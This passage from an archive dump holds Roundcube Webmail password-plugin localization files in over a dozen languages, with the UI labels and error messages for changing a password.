 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'رمز عبور کنونی';
$labels['newpasswd']  = 'رمز عبور جدید';
$labels['confpasswd']  = 'تایید رمز عبور جدید';
$messages['nopassword'] = 'لطفا رمز عبور جدیدی وارد کنید';
$messages['nocurpassword'] = 'لطفا رمز عبور کنونی را وارد کنید';
$messages['passwordincorrect'] = 'رمز عبور کنونی اشتباه است';
$messages['passwordinconsistency'] = 'رمزهای عبور با هم مطابقت ندارند، لطفا دوباره سعی کنید';
$messages['crypterror'] = 'امکان ذخیره رمز عبور جدید وجود ندارد. تابع رمزگذاری یافت نشد';
$messages['connecterror'] = 'امکان ذخیره رمز عبور جدید وجود ندارد. لطفا دوباره سعی کنید';
$messages['internalerror'] = 'امکان ذخیره رمز عبور جدید وجود ندارد';
$messages['passwordshort'] = 'طول رمز عبور می بایست حداقل به طول $length کاراکتر باشد';
$messages['passwordweak'] = 'رمز عبور می بایست دارای حداقل یک عدد و یک کاراکتر علامت گذاری باشد';
$messages['passwordforbidden'] = 'رمز عبور شامل کاراکترهای غیر مجاز است';
PKh�\�~�[zz$plugins/password/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Kemmañ ar ger-tremen';
$labels['curpasswd']  = 'Ger-tremen bremañ :';
$labels['newpasswd']  = 'Ger-tremen nevez :';
$labels['confpasswd']  = 'Kadarnaat ar ger-tremen :';
$messages['nopassword'] = 'Roit ur ger-tremen nevez, mar plij.';
$messages['nocurpassword'] = 'Roit ar ger-tremen red, mar plij.';
$messages['passwordincorrect'] = 'Direizh eo ar ger-tremen red.';
$messages['passwordinconsistency'] = 'Ar gerioù-tremen ne glotont ket an eil gant eben, roit anezhe en-dro.';
$messages['crypterror'] = 'N\'haller ket enrollañ ar ger-tremen nevez. Arc\'hwel enrinegañ o vank.';
$messages['connecterror'] = 'N\'haller ket enrollañ ar ger-tremen nevez. Fazi gant ar c\'hennask.';
$messages['internalerror'] = 'N\'haller ket enrollañ ar ger-tremen nevez.';
$messages['passwordshort'] = 'Ret eo d\'ar ger-tremen bezañ hiroc\'h eget $length arouezenn.';
$messages['passwordweak'] = 'En ho ker-tremen e tle bezañ ur sifr hag un arouezenn boentaouiñ da nebeutañ';
$messages['passwordforbidden'] = 'Arouezennoù difennet zo er ger-tremen.';
$messages['firstloginchange'] = 'Emaoc\'h o kennaskañ evit ar wezh kentañ. Kemmit ho ker-tremen mar plij.';
$messages['disablednotice'] = 'War drezalc\'h eo ar reizhiad evit ar mare ha n\'haller ket kemmañ gerioù-tremen. Pep tra a rankfe distreiñ d\'e stad orin a-benn nebeud. Digarezit ac\'hanomp.';
PKh�\,�R3
3
'plugins/password/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Променете лозинка';
$labels['curpasswd']  = 'Сегашна лозинка';
$labels['newpasswd']  = 'Нова лозинка';
$labels['confpasswd']  = 'Потврдете ја вашата лозинка';
$messages['nopassword'] = 'Ве молиме внесете нова лозинка';
$messages['nocurpassword'] = 'Ве молиме внесете ја вашата сегашна лозинка.';
$messages['passwordincorrect'] = 'Сегашната лозинка е неточна.';
$messages['passwordinconsistency'] = 'Лозинките не се совпаѓаат, ве молиме обидете се повторно.';
$messages['crypterror'] = 'Новата лозинка не е зачувана. функцијата за енкрипција недостига.';
$messages['connecterror'] = 'Сегашната лозинка неможе да се зачува. Грешка при поврзувањето. ';
$messages['internalerror'] = 'Сегашната лозинка неможе да се зачува.';
$messages['passwordshort'] = 'Лозинката мора да биде минимум $length карактери.';
$messages['passwordweak'] = 'Лозинката мора да содржи барем една бројка и еден интерпункциски знак.';
$messages['passwordforbidden'] = 'Лозинката содржи забранети карактери.';
$messages['firstloginchange'] = 'Ова е вашето последно логирање. Ве молиме променете ја вашата лозинка.';
$messages['disablednotice'] = 'Системот се ажурира и не е возможна промена на лозинка во моментов. Ве молиме обидете се покасно. Се извинуваме за непријатностите. ';
$messages['passwinhistory'] = 'Лозинката е предходно употребувана.';
$messages['samepasswd'] = 'Новата лозинка мора да биде различна од старата.';
$messages['passwdexpirewarning'] = 'Предупредување ! Вашата лозинка наскоро истекува, ве молиме изменете ја пред $expirationdatetime.';
$messages['passwdexpired'] = 'Вашата лозинка е истечена, морате да ја промените ! ';
$messages['passwdconstraintviolation'] = 'Пасвордот е наришен. Пасвордот веројатно е слаб';
PKh�\E|T2��'plugins/password/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'ពាក្យ​សម្ងាត់​បច្ចុប្បន្ន៖';
$labels['newpasswd']  = 'ពាក្យ​សម្ងាត់​ថ្មី៖';
$labels['confpasswd']  = 'បញ្ជាក់​ពាក្យ​សម្ងាត់​ថ្មី៖';
$messages['nopassword'] = 'សូម​បញ្ចូល​ពាក្យ​សម្ងាត់​ថ្មី។';
$messages['nocurpassword'] = 'សូម​បញ្ចូល​ពាក្យ​សម្ងាត់​បច្ចុប្បន្ន​ឲ្យ​បាន​ត្រូវ។';
$messages['passwordincorrect'] = 'ពាក្យ​សម្ងាត់​បច្ចុប្បន្ន​គឺ​មិន​ត្រូវ​ឡើយ។';
$messages['passwordinconsistency'] = 'ពាក្យ​សម្ងាត់​មិន​ត្រូវ​គ្នា​ទេ សូម​ព្យាយាម​ម្ដង​ទៀត។';
$messages['crypterror'] = 'មិន​អាច​រក្សា​ទុក​ពាក្យ​សម្ងាត់​ថ្មី​បាន​ទេ។ បាត់​មុខងារ​កូដនីយកម្ម។';
$messages['connecterror'] = 'មិន​អាច​រក្សា​ទុក​ពាក្យ​សម្ងាត់​ថ្មី​បាន​ទេ។ ការ​តភ្ជាប់​មាន​បញ្ហា។';
$messages['internalerror'] = 'មិន​អាច​រក្សា​ទុក​ពាក្យ​សម្ងាត់​ថ្មី​បាន​ទេ។';
$messages['passwordshort'] = 'ពាក្យ​សម្ងាត់​ត្រូវ​តែ​មាន​យ៉ាង​តិច $length តួ។';
$messages['passwordweak'] = 'ពាក្យ​សម្ងាត់​ត្រូវ​តែ​មាន​បញ្ចូល​យ៉ាង​ហោច​ណាស់​លេខ​មួយ​តួ និង​អក្សរ​សញ្ញា​មួយ​តួ។';
$messages['passwordforbidden'] = 'ពាក្យ​សម្ងាត់​មាន​អក្សរ​ដែល​ត្រូវហាម​ឃាត់។';
PKh�\�Ȋ$	$	'plugins/password/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Нууц үг солих';
$labels['curpasswd']  = 'Одоогийн нууц үг:';
$labels['newpasswd']  = 'Шинэ нууц үг:';
$labels['confpasswd']  = 'Шинэ нууц үгийг батлах';
$messages['nopassword'] = 'Шинэ нууц үгээ оруулна уу.';
$messages['nocurpassword'] = 'Одоогийн нууц үгээ оруулна уу.';
$messages['passwordincorrect'] = 'Одоогийн нууц үг таарахгүй байна.';
$messages['passwordinconsistency'] = 'Нууц үгнүүд хоорондоо таарахгүй байна, дахин оролдоно уу.';
$messages['crypterror'] = 'Шинэ нууц үгийг хадгалж чадсангүй. Шифрлэлтийн функц олдоогүй.';
$messages['connecterror'] = 'Шинэ нууц үгийг хадгалж чадсангүй. Холболтын алдаа.';
$messages['internalerror'] = 'Шинэ нууц үгийг хадгалж чадахгүй байна.';
$messages['passwordshort'] = 'Нууц үг хамгийн богинодоо $length урттай байх ёстой.';
$messages['passwordweak'] = 'Нууц үг дор хаяж нэг тоо ба нэг цэг, таслал зэрэг тэмдэгт агуулах ёстой.';
$messages['passwordforbidden'] = 'Нууц үг зөвшөөрөгдөөгүй тэмдэгт агуулж байна.';
$messages['firstloginchange'] = 'Энэ бол таны анхны нэвтрэлт. Нууц үгээ солино уу.';
PKh�\�
��
�
'plugins/password/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'שנה סיסמה';
$labels['curpasswd']  = 'סיסמה נוכחית:';
$labels['newpasswd']  = 'סיסמה חדשה:';
$labels['confpasswd']  = 'אימות הסיסמה החדשה:';
$messages['nopassword'] = 'נא להקליד סיסמה חדשה';
$messages['nocurpassword'] = 'נא להקיש הסיסמה הנוכחית';
$messages['passwordincorrect'] = 'הוקשה סיסמה נוכחית שגויה';
$messages['passwordinconsistency'] = 'הסיסמאות שהוקשו אינן תואמות, נא לנסות שנית.';
$messages['crypterror'] = 'לא נשמרה הסיסמה החדשה. חסר מנגנון הצפנה.';
$messages['connecterror'] = 'לא נשמרה הסיסמה החדשה. שגיאת תקשורת.';
$messages['internalerror'] = 'לא ניתן לשמור על הסיסמה החדשה.';
$messages['passwordshort'] = 'הסיסמה צריכה להיות לפחות בעלת $length תווים';
$messages['passwordweak'] = 'הסיסמה חייבת לכלול לפחות סיפרה אחת ולפחות סימן פיסוק אחד.';
$messages['passwordtooweak'] = 'הסיסמה חלשה מדי';
$messages['passwordnoseq'] = 'אסור שהסיסמה תהיה סדרה של תוים קשורים או בעלי משמעות כמו למשל 123456 או QUWERTY';
$messages['passwordnocommon'] = 'אסור שהסיסמה תהיה מילה נפוצה או שם/כינוי.';
$messages['passwordforbidden'] = 'הסיסמה מכילה תווים אסורים.';
$messages['firstloginchange'] = 'זוהי כניסתך הראשונה. אנא שנה את סיסמתך.';
$messages['disablednotice'] = 'לא ניתן לשנות סיסמה כעת כי המערכת התחזוקה.  המערכת תחזור בקרוב לפעולה רגילה. אנו מתנצלים על אי הנוחות.';
$messages['passwinhistory'] = 'הסיסמה היתה בשימוש מקודם';
$messages['samepasswd'] = 'הסיסמה החדשה צריכה להיות שונה מהישנה';
$messages['passwdexpirewarning'] = 'אזהרה! הסיסמה תפוג בקרוב. יש לשנותה לפני expirationdatetime$.';
$messages['passwdexpired'] = 'פג תוקפה של הסיסמה. יש לשנותה כעת!';
$messages['passwdconstraintviolation'] = 'סיסמה לא חוקית. כנראה חלשה מדי.';
$messages['pwned_mustnotbedisclosed'] = 'אסור שהסיסמה תהיה כזו שהרבה נוהגים להשתמש בה למשל תאריך לידה או 1234.';
$messages['pwned_isdisclosed'] = 'הרבה משתמשים נוהגים להשתמש בסיסמה זו';
$messages['pwned_fetcherror'] = 'לא ניתן לודא שחוזק הסיסמה תואם לנדרש';
PKh�\~$�"��'plugins/password/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Athraigh an focal faire';
$labels['curpasswd']  = 'An focal faire reatha:';
$labels['newpasswd']  = 'An focal faire nua:';
$labels['confpasswd']  = 'Deimhnigh an focal faire nua:';
$messages['nopassword'] = 'Cuir isteach focal faire nua.';
$messages['nocurpassword'] = 'Cuir isteach d\'fhocal faire reatha.';
$messages['passwordincorrect'] = 'Níl an focal faire reatha ceart.';
$messages['passwordinconsistency'] = 'Ní hionann na focail faire. Déan arís é.';
$messages['crypterror'] = 'Níorbh fhéidir an focal faire nua a chur i dtaisce. Tá an fheidhm chriptiúcháin in easnamh.';
$messages['connecterror'] = 'Níorbh fhéidir an focal faire nua a chur i dtaisce. Tharla earráid leis an gceangal.';
$messages['internalerror'] = 'Níorbh fhéidir an focal faire nua a chur i dtaisce.';
$messages['passwordshort'] = 'Ní mór $length gcarachtar ar a laghad a bheith sa bhfocal faire.';
$messages['passwordweak'] = 'Ní mór aon uimhir amháin agus aon chomhartha poncaíochta amháin a bheith sa bhfocal faire.';
$messages['passwordtooweak'] = 'Tá an focal faire rólag.';
$messages['passwordnoseq'] = 'Níor cheart don bhfocal faire a bheith ina sraith amhail 123456 nó QWERTY.';
$messages['passwordnocommon'] = 'Níor cheart focal nó ainm coitianta a roghnú mar fhocal faire.';
$messages['passwordforbidden'] = 'Tá carachtair nach gceadaítear san fhocal faire.';
$messages['firstloginchange'] = 'Is é seo an chéad uair duit síniú isteach. Athraigh d\'fhocal faire.';
$messages['disablednotice'] = 'Tá an córas á chothabháil faoi láthair agus ní féidir an focal faire a athrú ag an am seo. Ba cheart go mbeadh gach rud mar is gnách sula i bhfad. Is dona linn aon mhíchaoithiúlacht.';
$messages['passwinhistory'] = 'Baineadh feidhm as an bhfocal faire seo cheana.';
$messages['samepasswd'] = 'Ní mór don bhfocal faire nua bheith éagsúil ón seanfhocal faire.';
$messages['passwdexpirewarning'] = 'Rabhadh! Rachaidh d\'fhocal faire in éag go luath. Athraigh é roimh $expirationdatetime.';
$messages['passwdexpired'] = 'D\'éag d\'fhocal faire. Ní mór duit é a athrú anois!';
$messages['passwdconstraintviolation'] = 'Sárú ar na rialacha do na focail faire. Is dócha go bhfuil an focal faire rólag.';
$messages['pwned_isdisclosed'] = 'Tá fios ag an iomarca daoine ar an bhfocal faire sin.';
$messages['pwned_fetcherror'] = 'Theip ar an gcóras a fhíorú cé chomh láidir is atá an focal faire.';
PKh�\�͌��'plugins/password/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Ændre adgangskode ';
$labels['curpasswd']  = 'Nuværende adgangskode:';
$labels['newpasswd']  = 'Ny adgangskode:';
$labels['confpasswd']  = 'Bekræft ny adgangskode:';
$messages['nopassword'] = 'Indtast venligst en ny adgangskode.';
$messages['nocurpassword'] = 'Indtast venligst nuværende adgangskode.';
$messages['passwordincorrect'] = 'Nuværende adgangskode er forkert.';
$messages['passwordinconsistency'] = 'Adgangskoderne er ikke ens, prøv igen.';
$messages['crypterror'] = 'Kunne ikke gemme den nye adgangskode. Krypteringsfunktion mangler.';
$messages['connecterror'] = 'Kunne ikke gemme den nye adgangskode. Fejl ved forbindelsen.';
$messages['internalerror'] = 'Kunne ikke gemme den nye adgangskode.';
$messages['passwordshort'] = 'Adgangskoden skal være mindst $length tegn lang.';
$messages['passwordweak'] = 'Adgangskoden skal indeholde mindst et tal og et tegnsætningstegn (-.,)';
$messages['passwordtooweak'] = 'Adgangskoden er for svag';
$messages['passwordnoseq'] = 'Adgangskoden bør ikke være en række som 123456 eller QWERTY.';
$messages['passwordnocommon'] = 'Adgangskoden bør ikke være et almindeligt ord eller navn.';
$messages['passwordforbidden'] = 'Adgangskoden indeholder forbudte tegn.';
$messages['firstloginchange'] = 'Dette er første gang du logger ind, ændre venligst din adgangskode';
$messages['disablednotice'] = 'Systemet vedligeholdes i øjeblikket og det er pt. ikke muligt at skifte kodeord. Alt burde være oppe igen om lidt. Vi beklager ulejligheden. ';
$messages['passwinhistory'] = 'Kodeordet har tidligere været anvendt. ';
$messages['samepasswd'] = 'Det nye kodeord skal være forskelligt fra det gamle. ';
$messages['passwdexpirewarning'] = 'Advarsel, Dit kodeord udløber snart. Du skal ændre det før $expirationdatetime.';
$messages['passwdexpired'] = 'Dit kodeord er udløbet, du skal ændre det nu!';
$messages['passwdconstraintviolation'] = 'Password er i strid med reglerne. Det er sikkert for svagt.';
$messages['pwned_mustnotbedisclosed'] = 'Adgangskoden må ikke være <a href="$href" target="_blank">almindeligt brugt</a>.';
$messages['pwned_isdisclosed'] = 'Denne adgangskode er almindeligt brugt.';
$messages['pwned_fetcherror'] = 'Kunne ikke bekræfte adgangskodens styrken.';
PKh�\�u?��	�	'plugins/password/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Spremenjeno geslo';
$labels['curpasswd']  = 'Obstoječe geslo:';
$labels['newpasswd']  = 'Novo geslo:';
$labels['confpasswd']  = 'Potrdi novo geslo:';
$messages['nopassword'] = 'Vnesite novo geslo.';
$messages['nocurpassword'] = 'Vnesite obstoječe geslo.';
$messages['passwordincorrect'] = 'Obstoječe geslo ni veljavno.';
$messages['passwordinconsistency'] = 'Gesli se ne ujemata, poskusite znova.';
$messages['crypterror'] = 'Novega gesla ni bilo mogoče shraniti. Prišlo je do napake pri šifriranju.';
$messages['connecterror'] = 'Novega gesla ni bilo mogoče shraniti. Prišlo je do napake v povezavi.';
$messages['internalerror'] = 'Novega gesla ni bilo mogoče shraniti.';
$messages['passwordshort'] = 'Geslo mora vsebovati vsaj $length znakov';
$messages['passwordweak'] = 'Geslo mora vključevati vsaj eno številko in ločilo.';
$messages['passwordforbidden'] = 'Geslo vsebuje neveljavne znake.';
$messages['firstloginchange'] = 'To je vaša prva prijava. Spremenite začetno geslo.';
$messages['disablednotice'] = 'Sistem se trenutno posodablja, zato sprememba gesla v tem trenutku ni mogoča. Postopek bo mogoče opraviti v kratkem. Za nevšečnosti se opravičujemo.';
$messages['passwinhistory'] = 'To geslo ste v preteklosti že uporabili.';
$messages['samepasswd'] = 'Novo geslo se mora razlikovati od prejšnjega.';
$messages['passwdexpirewarning'] = 'Opozorilo! Vaše geslo bo kmalu poteklo, spremenite ga pred $expirationdatetime.';
$messages['passwdexpired'] = 'Vaše geslo je poteklo, spremenite ga!';
$messages['passwdconstraintviolation'] = 'Geslo ne ustreza zahtevam. Verjetno je prešibko.';
PKh�\���\��$plugins/password/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'تغيير كلمة المرور';
$labels['curpasswd']  = 'كلمة المرور الحالية:';
$labels['newpasswd']  = 'كلمة المرور الجديدة:';
$labels['confpasswd']  = 'تأكيد كلمة المرور الجديدة:';
$messages['nopassword'] = 'من فضلك أدخل كلمة المرور الجديدة.';
$messages['nocurpassword'] = 'من فضلك أدخل كلمة المرور الحالية.';
$messages['passwordincorrect'] = 'كلمة المرور الحالية غير صحيحة.';
$messages['passwordinconsistency'] = 'كلمة المرور غير مطابقة حاول مجددا';
$messages['crypterror'] = 'تعذر حفظ كلمة المرور الجديدة. وظيفة التشفير مفقودة.';
$messages['connecterror'] = 'تعذر حفظ كلمة المرور الجديدة. خطأ بالإتصال.';
$messages['internalerror'] = 'تعذر حفظ كلمة المرور الجديدة.';
$messages['passwordshort'] = 'كلمة المرور يجب على الأقل $length أحرف';
$messages['passwordweak'] = ' كلمة المرور يجب أن تتضمن رقم واحد على الأقل وحرف ترقيم واحد.';
$messages['passwordforbidden'] = 'كلمة المرور تحتوى على أحرف ممنوعة';
$messages['firstloginchange'] = 'لقد تم تسجيل دخولك لأول مرة، يُرجى تغيير كلمتك السرية.';
$messages['passwinhistory'] = 'لقد قُمت باستخدام هذه الكلمة السرية مِن قبل.';
$messages['samepasswd'] = 'يجب أن تكون كلمة السر الجديدة لا تُشابِه الكلمة القديمة.';
$messages['passwdexpirewarning'] = 'تنبيه ! إنّ مدة صلاحية كلمتك السرية سوف تنقضي قريبا، يُرجى تغييرها قبل $expirationdatetime.';
$messages['passwdexpired'] = 'لقد إنتهت مدة صلاحية كلمتك السرية، يجب عليك تغييرها الآن !';
$messages['passwdconstraintviolation'] = 'تحتوي كلمة المرور على خروقات. ربما كلمة المرور ضعيفة جدا.';
PKh�\��f%%'plugins/password/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Passwort ändern';
$labels['curpasswd']  = 'Aktuelles Passwort:';
$labels['newpasswd']  = 'Neues Passwort:';
$labels['confpasswd']  = 'Neues Passwort bestätigen:';
$messages['nopassword'] = 'Bitte geben Sie ein neues Passwort ein.';
$messages['nocurpassword'] = 'Bitte geben Sie Ihr aktuelles Passwort ein.';
$messages['passwordincorrect'] = 'Aktuelles Passwort ist falsch.';
$messages['passwordinconsistency'] = 'Passwörter stimmen nicht überein, bitte versuchen Sie es erneut.';
$messages['crypterror'] = 'Neues Passwort konnte nicht gespeichert werden. Verschlüsselungsfunktion fehlt.';
$messages['connecterror'] = 'Neues Passwort konnte nicht gespeichert werden. Verbindungsfehler.';
$messages['internalerror'] = 'Neues Passwort konnte nicht gespeichert werden.';
$messages['passwordshort'] = 'Passwort muss mindestens $length Zeichen lang sein.';
$messages['passwordweak'] = 'Passwort muss mindestens eine Zahl und ein Sonderzeichen enthalten.';
$messages['passwordtooweak'] = 'Das Passwort ist zu schwach.';
$messages['passwordnoseq'] = 'Das Passwort sollte keine Sequenz wie 123456 oder QWERTY sein.';
$messages['passwordnocommon'] = 'Passwort sollte kein allgemeines Wort oder Name sein.';
$messages['passwordforbidden'] = 'Passwort enthält unzulässige Zeichen.';
$messages['firstloginchange'] = 'Das ist Ihre erste Anmeldung. Bitte ändern Sie Ihr Passwort.';
$messages['disablednotice'] = 'Das System befindet sich derzeit im Wartungszustand und eine Passwortänderung ist im Moment nicht möglich. Alles sollte bald wieder normal sein. Wir bitten um Entschuldigung für die Unannehmlichkeiten.';
$messages['passwinhistory'] = 'Dieses Passwort wurde bereits zu einem früheren Zeitpunkt verwendet.';
$messages['samepasswd'] = 'Das neue Passwort muss sich von dem Alten unterscheiden.';
$messages['passwdexpirewarning'] = 'Achtung! Ihr Passwort läuft am $expirationdatetime ab. Ändern Sie es rechtzeitig.';
$messages['passwdexpired'] = 'Ihr Passwort ist abgelaufen, ändern Sie es jetzt!';
$messages['passwdconstraintviolation'] = 'Passwortbeschränkungsverletzung. Passwort wahrscheinlich zu schwach.';
$messages['pwned_isdisclosed'] = 'Dieses Passwort ist allgemein bekannt.';
$messages['pwned_fetcherror'] = 'Die Überprüfung der Passwortstärke ist fehlgeschlagen.';
PKh�\�x<<'plugins/password/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Ändra lösenord';
$labels['curpasswd']  = 'Nuvarande lösenord';
$labels['newpasswd']  = 'Nytt lösenord';
$labels['confpasswd']  = 'Bekräfta nytt lösenord';
$messages['nopassword'] = 'Ange nytt lösenord.';
$messages['nocurpassword'] = 'Ange nuvarande lösenord.';
$messages['passwordincorrect'] = 'Felaktigt nuvarande lösenord.';
$messages['passwordinconsistency'] = 'Bekräftelsen av lösenordet stämmer inte, försök igen.';
$messages['crypterror'] = 'Lösenordet kunde inte ändras. Krypteringsfunktionen saknas.';
$messages['connecterror'] = 'Lösenordet kunde inte ändras. Anslutningen misslyckades.';
$messages['internalerror'] = 'Lösenordet kunde inte ändras.';
$messages['passwordshort'] = 'Lösenordet måste vara minst $length tecken långt.';
$messages['passwordweak'] = 'Lösenordet måste innehålla minst en siffra och ett specialtecken.';
$messages['passwordtooweak'] = 'Lösenordet är inte tillräckligt bra.';
$messages['passwordnoseq'] = 'Lösenord bör aldrig vara sekvenser liknande 123456 eller QWERTY.';
$messages['passwordnocommon'] = 'Lösenord bör aldrig vara vanliga ord eller namn.';
$messages['passwordforbidden'] = 'Lösenordet innehåller otillåtna tecken.';
$messages['firstloginchange'] = 'Du loggar in för första gången. Vänligen ändra ditt lösenord.';
$messages['disablednotice'] = 'Underhåll av systemet pågår och därför kan lösenord inte ändras för tillfället. Allt ska fungera normalt igen så snart som möjligt. Ursäkta den eventuella olägenheten underhållet orsakar.';
$messages['passwinhistory'] = 'Lösenordet har redan använts tidigare.';
$messages['samepasswd'] = 'Lösenordet får inte vara samma som det gamla.';
$messages['passwdexpirewarning'] = 'Varning! Lösenordet blir snart ogiltigt, ändra det innan $expirationdatetime.';
$messages['passwdexpired'] = 'Lösenordet är ogiltigt, du måste ändra det nu!';
$messages['passwdconstraintviolation'] = 'Lösenordet uppfyller inte gällande kriterier. Lösenordet är troligtvis inte tillräckligt bra.';
$messages['pwned_mustnotbedisclosed'] = 'Lösenordet får inte vara <a href="$href" target="_blank">allmänt känt</a>.';
$messages['pwned_isdisclosed'] = 'Detta lösenord är allmänt känt.';
$messages['pwned_fetcherror'] = 'Det gick inte att verifiera lösenordsstyrkan.';
PKh�\Xx�@@$plugins/password/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'مەخپىي نۇمۇرنى ئۆزگەرتىش';
$labels['curpasswd']  = 'نۆۋەتتىكى مەخپىي نۇمۇر:';
$labels['newpasswd']  = 'يېڭى مەخپىي نۇمۇر:';
$labels['confpasswd']  = 'يېڭى مەخپىي نۇمۇرنى جەزىملەشتۈرۈش:';
$messages['nopassword'] = 'يېڭى مەخپىي نۇمۇرنى كىرگۈزۈڭ.';
$messages['nocurpassword'] = 'نۆۋەتتىكى مەخپىي نۇمۇرنى كىرگۈزۈڭ.';
$messages['passwordincorrect'] = 'نۆۋەتتىكى مەخپىي نۇمۇر خاتا.';
$messages['passwordinconsistency'] = 'مەخپىي نۇمۇرلار ماس كەلمىدى، قايتا سىناڭ.';
$messages['crypterror'] = 'يېڭى مەخپىي نۇمۇرنى ساقلىغىلى بولمىدى. شىفىرلاش فونكىسيەسى كەم.';
$messages['connecterror'] = 'يېڭى مەخپىي نۇمۇرنى ساقلىغىلى بولمىدى. ئۇلىنىش خاتالىقى.';
$messages['internalerror'] = 'يېڭى مەخپىي نۇمۇرنى ساقلىغىلى بولمىدى.';
$messages['passwordshort'] = 'مەخپىي نۇمۇر ئەڭ كەمدە length$ ھەرىپ ئۇزۇنلىقىدا بۇلىشى كېرەك.';
$messages['passwordweak'] = 'مەخپىي نۇمۇر ئەڭ كەمدە بىر سان ھەمدە بىر تىنىش بەلگىسىنى ئۆز-ئىچىگە ئېلىشى كېرەك.';
